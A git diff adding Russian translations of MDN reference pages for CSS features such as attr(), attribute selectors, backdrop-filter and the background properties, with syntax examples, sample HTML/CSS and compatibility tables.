+ + diff --git a/files/ru/web/css/attr()/index.html b/files/ru/web/css/attr()/index.html new file mode 100644 index 0000000000..dfcd64f78f --- /dev/null +++ b/files/ru/web/css/attr()/index.html @@ -0,0 +1,202 @@ +--- +title: attr +slug: Web/CSS/attr() +translation_of: Web/CSS/attr() +--- +
{{CSSRef}}
+ +

Описание

+ +

С помощью функции CSS attr() можно извлекать значение атрибута выбранного элемента и использовать это значение в таблице стилей. Функция работает и с псевдо-элементами. В этом случае возвращается значение атрибута элемента, для которого формируется псевдо-элемент.

+ +

Функцию attr() можно использовать с любым свойством CSS, но поддержка иных свойств, кроме {{cssxref("content")}}, является экспериментальной.

+ +

Синтаксис

+ +
/* Пример простого использования */
+attr(data-count);
+attr(title);
+
+/* С типом */
+attr(src url);
+attr(data-count number);
+attr(data-width px);
+
+/* с фоллбэком */
+attr(data-count number, 0);
+attr(src url, '');
+attr(data-width px, inherit);
+attr(data-something, 'default');
+
+ +

Значения

+ +
+
attribute-name
+
Название атрибута элемента HTML, на который ссылаемся в CSS.
+
<type-or-unit> {{Experimental_Inline}}
+
+
Является ключевым словом, представляющим либо тип значения атрибута, либо его единицу, так как в HTML некоторые атрибуты имеют неявные единицы. Если использование <type-or-unit> в качестве значения для данного атрибута недопустимо, выражение attr() также будет недопустимым. Если этот параметр опущен, по умолчанию используется string . Список допустимых значений:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Ключевое словоТипКомментарийЗначение по умолчанию
string{{cssxref("<string>")}}The attribute value is treated as a CSS {{cssxref("<string>")}}.  It is NOT reparsed, and in particular the characters are used as-is instead of CSS escapes being turned into different characters.An empty string
color {{experimental_inline}}{{cssxref("<color>")}}The attribute value is parsed as a hash (3- or 6-value hash) or a keyword. It must be a valid CSS {{cssxref("<string>")}} value.
+ Leading and trailing spaces are stripped.		currentColor
url {{experimental_inline}}{{cssxref("<url>")}}The attribute value is parsed as a string that is used inside a CSS url()function.
+ Relative URL are resolved relatively to the original document, not relatively to the style sheet.
+ Leading and trailing spaces are stripped.		The url about:invalid that points to a non-existent document with a generic error condition.
integer {{experimental_inline}}{{cssxref("<integer>")}}The attribute value is parsed as a CSS {{cssxref("<integer>")}}. If it is not valid, that is not an integer or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0, or, if 0 is not a valid value for the property, the property's minimum value.
number {{experimental_inline}}{{cssxref("<number>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0, or, if 0 is not a valid value for the property, the property's minimum value.
length {{experimental_inline}}{{cssxref("<length>")}}The attribute value is parsed as a CSS {{cssxref("<length>")}} dimension, that is including the unit (e.g. 12.5em). If it is not valid, that is not a length or out of the range accepted by the CSS property, the default value is used.
+ If the given unit is a relative length, attr()computes it to an absolute length.
+ Leading and trailing spaces are stripped.		0, or, if 0 is not a valid value for the property, the property's minimum value.
em, ex, px, rem, vw, vh, vmin, vmax, mm, cm, in, pt, or pc {{experimental_inline}}{{cssxref("<length>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}, that is without the unit (e.g. 12.5), and interpreted as a {{cssxref("<length>")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ If the given unit is a relative length, attr()computes it to an absolute length.
+ Leading and trailing spaces are stripped.		0, or, if 0 is not a valid value for the property, the property's minimum value.
angle {{experimental_inline}}{{cssxref("<angle>")}}The attribute value is parsed as a CSS {{cssxref("<angle>")}} dimension, that is including the unit (e.g. 30.5deg). If it is not valid, that is not an angle or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0deg, or, if 0deg is not a valid value for the property, the property's minimum value.
deg, grad, rad {{experimental_inline}}{{cssxref("<angle>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}, that is without the unit (e.g. 12.5), and interpreted as an {{cssxref("<angle>")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0deg, or, if 0deg is not a valid value for the property, the property's minimum value.
time {{experimental_inline}}{{cssxref("<time>")}}The attribute value is parsed as a CSS {{cssxref("<time>")}} dimension, that is including the unit (e.g. 30.5ms). If it is not valid, that is not a time or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0s, or, if 0s is not a valid value for the property, the property's minimum value.
s, ms {{experimental_inline}}{{cssxref("<time>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}, that is without the unit (e.g. 12.5), and interpreted as an{{cssxref("<time>")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0s, or, if 0s is not a valid value for the property, the property's minimum value.
frequency {{experimental_inline}}{{cssxref("<frequency>")}}The attribute value is parsed as a CSS {{cssxref("<frequency>")}} dimension, that is including the unit (e.g. 30.5kHz). If it is not valid, that is not a frequency or out of the range accepted by the CSS property, the default value is used.0Hz, or, if 0Hz is not a valid value for the property, the property's minimum value.
Hz, kHz {{experimental_inline}}{{cssxref("<frequency>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}, that is without the unit (e.g. 12.5), and interpreted as a {{cssxref("<frequency>")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ Leading and trailing spaces are stripped.		0Hz, or, if 0Hz is not a valid value for the property, the property's minimum value.
% {{experimental_inline}}{{cssxref("<percentage>")}}The attribute value is parsed as a CSS {{cssxref("<number>")}}, that is without the unit (e.g. 12.5), and interpreted as a {{cssxref("<percentage>")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.
+ If the given value is used as a length, attr()computes it to an absolute length.
+ Leading and trailing spaces are stripped.		0%, or, if 0% is not a valid value for the property, the property's minimum value.
+
+
<fallback> {{experimental_inline}}
+
The value to be used if the associated attribute is missing or contains an invalid value. The fallback value must be valid where attr() is used, even if it is not used, and must not contain another attr() expression. If attr() is not the sole component value of a property, its <fallback> value must be of the type defined by <type-or-unit>. If not set, CSS will use the default value defined for each <type-or-unit>.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +
p::before {
+  content: attr(data-foo) " ";
+}
+
+ +
<p data-foo="hello">world</p>
+
+ +

Результат

+ +

{{EmbedLiveSample("Examples", '100%', '80')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#attr', 'attr()')}}{{Spec2('CSS3 Values')}}Added two optional parameters; can be used on all properties; may return other values than {{cssxref("<string>")}}. These changes are experimental and may be dropped during the CR phase if browser support is too small.
{{SpecName('CSS2.1', 'generate.html#x18', 'attr()')}}{{Spec2('CSS2.1')}}Limited to the {{cssxref("content")}} property; always return a {{cssxref("<string>")}}.
+ +

Совместимость с браузерами

+ +

{{Compat("css.types.attr")}}

diff --git a/files/ru/web/css/attribute_selectors/index.html b/files/ru/web/css/attribute_selectors/index.html new file mode 100644 index 0000000000..290db85234 --- /dev/null +++ b/files/ru/web/css/attribute_selectors/index.html @@ -0,0 +1,154 @@ +--- +title: Селекторы атрибутов +slug: Web/CSS/Attribute_selectors +translation_of: Web/CSS/Attribute_selectors +--- +

{{CSSRef("Selectors")}}

+ +

Обзор

+ +

Селекторы атрибутов отбирают элементы по наличию атрибута или его значению.

+ +
+
[attr]
+
Обозначает элемент с атрибутом по имени attr.
+
[attr=value]
+
Обозначает элемент с именем атрибута attr и значением в точности сопадающим с value.
+
[attr~=value]
+
Обозначает элемент с именем атрибута attr значением которого является набор слов разделенных пробелами, одно из которых в точности равно value
+
[attr|=value]
+
Обозначает элемент с именем атрибута attr. Его значение при этом может быть или в точности равно "value" или может начинаться с "value" со сразу же следующим "-" (U+002D). Это может быть использовано когда язык описывается с подкодом.
+
[attr^=value]
+
Обозначает элемент с именем атрибута attr значение которого начинается с "value"
+
[attr$=value]
+
Обозначает элемент с именем атрибута attr чье значение заканчивается на "value"
+
[attr*=value]
+
Обозначает элемент с именем атрибута attr чье значение содержит по крайней мере одно вхождение строки "value" как подстроки.
+
+ +

Пример

+ +
/* Все span с атрибутом "lang" будут жирными */
+span[lang] {font-weight:bold;}
+
+/* Все span в Португалии будут зелеными */
+span[lang="pt"] {color:green;}
+
+/* Все span с американским английским будут синими */
+span[lang~="en-us"] {color: blue;}
+
+/* Любые span на китайском языке будут красными, как на упрощенном китайском (zh-CN) так и на традиционном (zh-TW) */
+span[lang|="zh"] {color: red;}
+
+/* Все внутренние ссылки будут иметь золотой фон */
+a[href^="#"] {background-color:gold}
+
+/* Все ссылки с url заканчивающимся на .cn будут красными */
+a[href$=".cn"] {color: red;}
+
+/* Все ссылки содержащие "example" в url будут иметь серый фон */
+a[href*="example"] {background-color: #CCCCCC;}
+
+ +
<div class="hello-example">
+    <a href="http://example.com">English:</a>
+    <span lang="en-us en-gb en-au en-nz">Hello World!</span>
+</div>
+<div class="hello-example">
+    <a href="#portuguese">Portuguese:</a>
+    <span lang="pt">Olá Mundo!</span>
+</div>
+<div class="hello-example">
+    <a href="http://example.cn">Chinese (Simplified):</a>
+    <span lang="zh-CN">世界您好！</span>
+</div>
+<div class="hello-example">
+    <a href="http://example.cn">Chinese (Traditional):</a>
+    <span lang="zh-TW">世界您好！</span>
+</div>
+
+ +

{{ EmbedLiveSample('Example', 250, 100) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors') }}{{ Spec2('CSS3 Selectors') }} 
{{ SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors') }}{{ Spec2('CSS2.1') }}Начальное определение
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ФункциональностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("1") }}793
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ФункциональностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile("1") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

См. также

+ + diff --git a/files/ru/web/css/backdrop-filter/index.html b/files/ru/web/css/backdrop-filter/index.html new file mode 100644 index 0000000000..409d8095de --- /dev/null +++ b/files/ru/web/css/backdrop-filter/index.html @@ -0,0 +1,130 @@ +--- +title: backdrop-filter +slug: Web/CSS/backdrop-filter +translation_of: Web/CSS/backdrop-filter +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS свойство backdrop-filter позволяет вам использовать визуальные эффекты - такие как размытие или смещение цвета фона - за элементом. Так как это применяется ко всему за элементом, чтобы увидеть эффект, вы должны сделать элемент или его фон по крайней мере частично прозрачными.

+ +
/* Keyword value */
+backdrop-filter: none;
+
+/* фильтр URL в SVG */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* значения <filter-function> */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* Несколько фильтров */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* Глобальные значения */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+ +

{{cssinfo}}

+ +

Синтаксис

+ +

Значения

+ +
+
none
+
Фильтр отключен для фона
+
<filter-function-list>
+
Перечень фильтров, разделенных пробелами функций {{cssxref("<filter-function>")}} или SVG фильтра, которые применены для фона.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

CSS

+ +
.box {
+  background-color: rgba(255, 255, 255, 0.3);
+  border-radius: 5px;
+  font-family: sans-serif;
+  text-align: center;
+  line-height: 1;
+ -webkit-backdrop-filter: blur(10px);
+  backdrop-filter: blur(10px);
+  max-width: 50%;
+  max-height: 50%;
+  padding: 20px 40px;
+}
+
+html,
+body {
+  height: 100%;
+  width: 100%;
+}
+
+body {
+  background-image: url('https://lorempixel.com/400/200/');
+  background-position: center center;
+  background-repeat: no-repeat;
+  background-size: cover;
+}
+
+.container {
+  align-items: center;
+  display: flex;
+  justify-content: center;
+  height: 100%;
+  width: 10}
+ +

HTML

+ +
<div class="container">
+  <div class="box">
+    <p>backdrop-filter: blur(10px)</p>
+  </div>
+</div>
+ +

Результат

+ +

{{EmbedLiveSample("Примеры", 600, 400)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСостояниеКомментарий
{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}{{Spec2('Filters 2.0')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.backdrop-filter")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html new file mode 100644 index 0000000000..c4b1dd40f6 --- /dev/null +++ b/files/ru/web/css/backface-visibility/index.html @@ -0,0 +1,207 @@ +--- +title: backface-visibility +slug: Web/CSS/backface-visibility +translation_of: Web/CSS/backface-visibility +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Свойство backface-visibility определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.

+ +
{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}
+ + + +

Задняя поверхность элемента является зеркальным отражением его передней поверхности. Однако невидимая в 2D, задняя грань может быть видимой, когда преобразование вызывает вращение элемента в 3D пространстве. (Это свойство не влияет на 2D-преобразования, которые не имеют перспективы.)

+ +

Синтаксис

+ +
/* Значения ключевых слов */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* Глобальные значения */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;
+ +

Свойство backface-visibility указывается в качестве одного из ключевых слов, перечисленных ниже.

+ +

Значения

+ +
+
visible
+
Задняя сторона видна, когда повернута к пользователю.
+
hidden
+
Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.
+
+ +

Официальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

В этом примере показан куб с прозрачными гранями.

+ +

HTML

+ +
<table>
+  <tr>
+    <th><code>backface-visibility: visible;</code></th>
+    <th><code>backface-visibility: hidden;</code></th>
+  </tr>
+  <tr>
+    <td>
+      <div class="container">
+        <div class="cube showbf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        Since all faces are partially transparent,
+        the back faces (2, 4, 5) are visible
+        through the front faces (1, 3, 6).
+      </p>
+    </td>
+    <td>
+      <div class="container">
+        <div class="cube hidebf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        The three back faces (2, 4, 5) are
+        hidden.
+      </p>
+    </td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Классы, которые будут показывать или скрывать
+   три задние грани "куба" */
+.showbf div {
+  backface-visibility: visible;
+}
+
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+/* Определяет контейнер div, кубический div и общую грань */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Определяет каждое лицо на основе направления */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Сделает стол немного лучше */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Example', '100%', 360)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}{{Spec2('CSS Transforms 2')}}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.backface-visibility")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html new file mode 100644 index 0000000000..a23507d906 --- /dev/null +++ b/files/ru/web/css/background-attachment/index.html @@ -0,0 +1,223 @@ +--- +title: background-attachment +slug: Web/CSS/background-attachment +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-attachment +--- +
{{CSSRef}}
+ +

Краткое описание

+ +

Если указано {{Cssxref("background-image")}}, CSS свойство background-attachment определяет, является ли позиция этого изображения фиксированной в области просмотра, или прокручивается вместе с содержащим его блоком.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Ключевые значения */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* Глобальные значения */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+ +

Значение свойства background-attachment задается одним из ключевых значений из списка ниже.

+ +

Значения

+ +
+
fixed
+
Фон фиксируется относительно области просмотра. Даже если элемент имеет механизм прокрутки, фон не перемещается вместе с элементом. (Это значение несовместимо с {{cssxref("background-clip", "background-clip: text", "#text")}}.)
+
local
+
Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.
+
scroll
+
Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +

Простой пример

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Простой_пример")}}

+ +

Поддержка нескольких фоновых изображений

+ +

Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <attachment> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Поддержка_нескольких_фоновых_изображений")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}{{Spec2('CSS3 Backgrounds')}}Сокращенное свойство было расширено для поддержки нескольких фонов и значения local.
{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}{{Spec2('CSS2.1')}}Никаких существенных изменений.
{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}{{Spec2('CSS1')}}
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0
Multiple backgrounds1.0{{CompatGeckoDesktop("1.9.2")}}9.010.51.3
local4.0{{CompatNo}}9.010.55.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("1.9.2")}}{{CompatUnknown}}10.03.2
Multiple backgrounds2.1{{CompatGeckoMobile("1.9.2")}}{{CompatUnknown}}10.03.2
local{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html new file mode 100644 index 0000000000..bfcdd98ff3 --- /dev/null +++ b/files/ru/web/css/background-blend-mode/index.html @@ -0,0 +1,145 @@ +--- +title: background-blend-mode +slug: Web/CSS/background-blend-mode +translation_of: Web/CSS/background-blend-mode +--- +

{{CSSRef()}}

+ +

Описание

+ +

Свойство background-blend-mode описывает то, как фоновое изображение элемента должно накладываться на фоны других элементов.

+ +

Режимы наложения должны быть определены в том же порядке что CSS свойство {{cssxref("background-image")}}. Если длины списка режимов наложения и фоновых изображений не равны, он будет повторяться и/или сокращаться до совпадения длин.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
Формальный синтаксис:  {{csssyntax("background-blend-mode")}}
+ +
background-blend-mode: normal;               /* Одно значение */
+background-blend-mode: darken, luminosity;   /* Два значение, по одному на каждый фон */
+
+background-blend-mode: initial;
+background-blend-mode: inherit;
+background-blend-mode: unset;
+
+ +

Значения

+ +
+
<blend-mode>
+
{{cssxref("<blend-mode>")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.
+
+ +

Пример

+ + + + + + + +

{{ EmbedLiveSample('Examples', "330", "330") }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Compositing', '#background-blend-mode', 'background-blend-mode') }}{{ Spec2('Compositing') }}Первоначальная спецификация
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable()}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка35{{CompatGeckoDesktop('30.0')}}{{CompatNo()}}227.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo()}}{{CompatGeckoMobile('30.0')}}{{CompatNo()}}22iOS 8
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html new file mode 100644 index 0000000000..213ea5d62d --- /dev/null +++ b/files/ru/web/css/background-clip/index.html @@ -0,0 +1,118 @@ +--- +title: background-clip +slug: Web/CSS/background-clip +translation_of: Web/CSS/background-clip +--- +
{{CSSRef}}
+ +

Описание

+ +

Свойство CSS background-clip определяет как цвет фона или фоновое изображение будут выводиться под границами блока.

+ +

Если фоновое изображение или цвет не заданы, это свойство будет иметь визуальный эффект, только если у границы есть прозрачные области или частично непрозрачные области (из-за {{cssxref("border-style")}} или {{cssxref("border-image")}}); в противном случае граница скрывает разницу.

+ +

Синтаксис

+ +
/* Значения ключевых слов */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* Глобальные значения */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+ +

Значения

+ +
+
border-box
+
Фон распространяется до внешнего края границы (но под границей в z-порядке).
+
padding-box
+
Фон распространяется до внешнего края отступа. Под границей фон не рисуется.
+
content-box
+
Фон закрашивается внутри (обрезается) поля содержимого.
+
text {{experimental_inline}}
+
Фон закрашивается внутри (обрезается) текста переднего плана.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<p class="border-box">The background extends behind the border.</p>
+<p class="padding-box">The background extends to the inside edge of the border.</p>
+<p class="content-box">The background extends only to the edge of the content box.</p>
+<p class="text">The background is clipped to the foreground text.</p>
+ +

CSS

+ +
p {
+  border: .8em darkviolet;
+  border-style: dotted double;
+  margin: 1em 0;
+  padding: 1.4em;
+  background: linear-gradient(60deg, red, yellow, red, yellow, red);
+  font: 900 1.2em sans-serif;
+  text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+  background-clip: text;
+  color: rgba(0,0,0,.2);
+}
+ +

Результат

+ +

{{EmbedLiveSample('Example', 600, 580)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}{{Spec2('CSS3 Backgrounds')}}Первоначальное определение.
{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}{{Spec2('CSS4 Backgrounds')}}Добавляет значение text.
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.background-clip")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/background-color/index.html b/files/ru/web/css/background-color/index.html new file mode 100644 index 0000000000..bf36dfbcb0 --- /dev/null +++ b/files/ru/web/css/background-color/index.html @@ -0,0 +1,163 @@ +--- +title: background-color +slug: Web/CSS/background-color +tags: + - CSS + - CSS свойства + - CSS фоны + - Графика + - Определение + - Раскладка +translation_of: Web/CSS/background-color +--- +
{{CSSRef}}
+ +

CSS-свойство background-color CSS устанавливает цвет фона элемента.

+ +

{{EmbedInteractiveExample("pages/css/background-color.html")}}

+ +

Cинтаксис

+ +
/* Словесные значения */
+background-color: red;
+
+/* Шестнадцатеричное значение */
+background-color: #bbff00;
+
+/* Шестнадцатеричное значение с alpha-каналом */
+background-color: #11ffee00; /* 00 - полностью прозрачный */
+background-color: #11ffeeff; /* ff - непрозрачный */
+
+/* RGB-значение */
+background-color: rgb(255, 255, 128);
+
+/* RGBA-значение или RGB с alpha-каналом */
+background-color: rgba(117, 190, 218, 0.0); /* 0.0 - полностью прозрачный */
+background-color: rgba(117, 190, 218, 0.5); /* 0.5 - полупрозрачный */
+background-color: rgba(117, 190, 218, 1.0); /* 1.0 - непрозрачный */
+
+/* HSLA-значение */
+background-color: hsla(50, 33%, 25%, 0.75);
+
+/* Специальные словесные значения */
+background-color: currentColor;
+background-color: transparent;
+
+/* Общие значения */
+background-color: inherit;
+background-color: initial;
+background-color: unset;
+
+ +
Свойство background-color определяется единственным значением <color>.
+ +

Значения

+ +
+
{{cssxref("<color>")}}
+
Является CSS {{cssxref("<color>")}}, которое описывает цвет фона. Даже если заданы одно или несколько {{cssxref("background-image")}}, цвет может отрендерится, если изображения прозрачны.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<div class="exampleone">
+ Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="exampletwo">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="examplethree">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+ +

CSS

+ +
.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153, 102, 153);
+  color: rgb(255, 255, 204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Примеры","200","150")}}

+ +

Проблемы доступности

+ +

Важно обеспечить достаточный цветовой контраст между цветом текста и фоном, чтобы люди со слабым зрением могли его прочитать, но при этом должна быть достаточная разница между введённым текстом и текстом placeholder, чтобы пользователь не путал их.

+ +

Коэффициент цветового контраста определяется путём сравнения яркости текста placeholder и цветом фона формы ввода. Чтобы соответствовать рекомендациям Web Content Accessibility Guidelines (WCAG), требуется соотношение 4.5:1 для основного текста и 3:1 для более крупного текста, например, заголовков. Крупный текст определяется как 18.66px и больше с жирным начертанием или 24px и больше с обычным начертанием.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
